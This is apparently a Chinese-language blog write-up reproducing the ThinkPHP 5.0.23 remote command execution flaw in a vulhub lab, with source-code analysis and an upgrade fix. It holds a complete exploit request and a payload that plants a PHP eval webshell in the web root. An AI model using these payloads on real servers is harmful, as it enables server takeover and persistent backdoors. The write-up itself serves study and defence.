1. 程式人生 > 其它 >漏洞復現-thinkphp5.0.23-遠端命令執行

漏洞復現-thinkphp5.0.23-遠端命令執行

0x00 實驗環境

攻擊機:Win 10

靶場:docker拉的vulhub靶場

0x01 影響版本

5.0.23 以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以呼叫 Request 類任意方法並構造利用鏈,從而導致遠端程式碼執行漏洞。

0x02 漏洞復現

(1)訪問存在的漏洞頁面,輸入以下payload:

POST /index.php?s=captcha HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: settingStore=1630480512401_0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

_method=__construct
&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

(2)寫shell:首先複製當前路徑,然後寫入shell即可,vulhub的靶場$符號被轉義了,加個斜槓即可:

/var/www/public

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST[x]); ?>" > /var/www/public/h.php

(3)連線成功!

0x03 漏洞原理

public\index.php----->跟進/../thinkphp/start.php----->\thinkphp\library\think\App.php的run函式

這個run函式有個監聽的方法:

// 監聽 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 獲取應用排程資訊
$dispatch = self::$dispatch;

// 未設定排程資訊則進行 URL 路由檢測
if (empty($dispatch)) {
$dispatch = self::routeCheck($request
, $config); }

變數$dispatch為空,所以進入routeCheck函式,跟入到此函式

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由檢測
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 開啟路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 讀取路由快取
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);

這裡可以列印一下路徑,以及一些變數,能得到:

路徑變數$path為index/think\app/invokefunction,POC中剩餘變數儲存在$_GET中,繼續往下跟routeCheck函式,進入

路由無效

關鍵程式碼如下:

        // 路由無效 解析模組/控制器/操作/引數... 支援控制器自動搜尋
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

程式碼會進入到Route::parseUrl函式,此函式用來解析變數$path(index/think\app/invokefunction),跟進到此函式:

            // 請求快取檢查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except']
            );

            $data = self::exec($dispatch, $config);
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }

最終會有個exec的函式,反正就是這個函式執行的,就暫時到這裡。詳細的看這篇文章:https://www.cnblogs.com/st404/p/10245844.html

0x04 修復建議

1、升級到高版本

0x05 參考文獻

https://www.cnblogs.com/jiecoll/p/13425469.html

https://www.cnblogs.com/st404/p/10245844.html

0x06 免責宣告

本漏洞復現文章僅用於學習、工作與興趣愛好,並立志為網路安全奉獻一份力量,凡是利用本部落格相關內容的無良hackers造成的安全事故均與本人無關!